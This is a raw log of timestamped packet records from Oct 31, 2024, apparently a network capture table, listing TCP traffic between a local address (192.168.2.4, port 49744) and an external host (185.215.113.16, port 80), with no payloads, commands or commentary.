Oct 31, 2024 03:03:32.550297022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.550390959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.550498009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.552202940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.552256107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.552292109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.552305937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.552328110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.552364111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.552380085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.558442116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.558476925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.558510065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.558530092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.558588028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.558780909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.558836937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.558887959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.558890104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.558940887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.558990955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559041023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559041977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559070110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559096098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559129953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559180021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559209108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559232950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559246063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559267998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559298992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559372902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559384108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559406042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559437037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559457064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559484959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559520006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559529066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559570074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559626102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559648991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559660912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559710026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559742928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559760094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559777021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559803009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559808969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559859991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559890985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559905052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559926033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.559938908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.559953928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560003042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560034990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560048103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560064077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560085058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560112953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560146093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560178995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560192108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560224056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560229063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560262918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560298920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560331106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560345888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560364008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560386896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560395002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560445070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560446024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560496092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560528040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560543060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560578108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560610056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560642958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560657024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560676098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560691118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560710907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560741901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560775995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560790062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560803890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560827017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560836077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560869932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560898066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560902119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560939074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.560950041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.560967922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.561000109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.561032057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.561034918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.561068058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.561083078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.561100960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.561197996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.601619005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.601691008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.601727962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.601761103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.601794958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.601816893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.601828098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.601864100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.601897955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.602000952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.602000952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.627995014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628180981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628237009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628238916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628295898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628345966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628381968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628392935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628417015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628433943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628452063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628503084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628536940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628550053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628572941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628586054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628607988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628640890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628674030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628688097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628705025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628725052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628755093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628796101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628824949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628845930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628859043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628880978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628894091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628926992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.628973007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.628978968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629013062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629028082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629065990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629098892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629132986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629146099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629180908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629184961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629240036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629291058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629326105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629340887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629374981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629378080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629426956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629460096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629494905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629506111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629542112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629545927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629584074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629611969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629646063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629658937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629681110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629694939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629712105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629745960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629775047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629791021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629807949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629823923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629842043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629880905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629900932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.629914999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629947901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629982948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.629993916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.630033016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.669050932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.669094086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.669131041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.669162989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.670941114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.671003103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.671006918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.671053886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.671089888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.671108007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.671133041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.671165943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.671221018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.677359104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677396059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677424908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.677431107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677485943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.677606106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677634954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677687883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677721024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677733898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.677756071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677769899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.677805901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677859068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677887917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677907944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.677922964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.677942991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.677995920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678080082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678123951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678129911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678165913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678179026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678200960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678230047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678276062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678278923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678323984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678329945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678364038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678400040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678446054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678452969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678488016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678502083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678539038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678575993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678608894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678620100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678670883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678677082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678710938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678761959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678808928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678812027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678845882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678858042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678896904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678930044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678961992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.678983927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.678996086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679019928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679025888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679080009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679114103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679126024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679145098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679162025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679179907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679213047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679259062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679261923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679299116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679308891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679348946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679399967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679446936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679450035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679496050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679501057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679536104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679569006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679601908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679615974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679634094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679649115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679667950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679702044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679734945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679747105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679769039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679780960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679805040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679836035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679858923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679869890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679899931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679915905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.679934025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.679968119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.680000067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.680031061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.680033922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.680056095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.680068016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.680104017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.680150032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.720257044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720295906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720365047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720400095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720434904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720467091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.720552921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720587015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720621109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.720670938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.721945047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.746793032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.746848106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.746851921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.746882915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.746916056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.746941090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.746969938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747033119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.747056007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747106075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747152090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.747155905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747189045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747220993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747255087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747268915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.747287989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747308016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.747339010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747389078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747421980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747454882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747484922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.747487068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747512102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.747522116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747529030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.747554064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.747598886 CET	80	49744	185.215.113.16	192.168.2.4
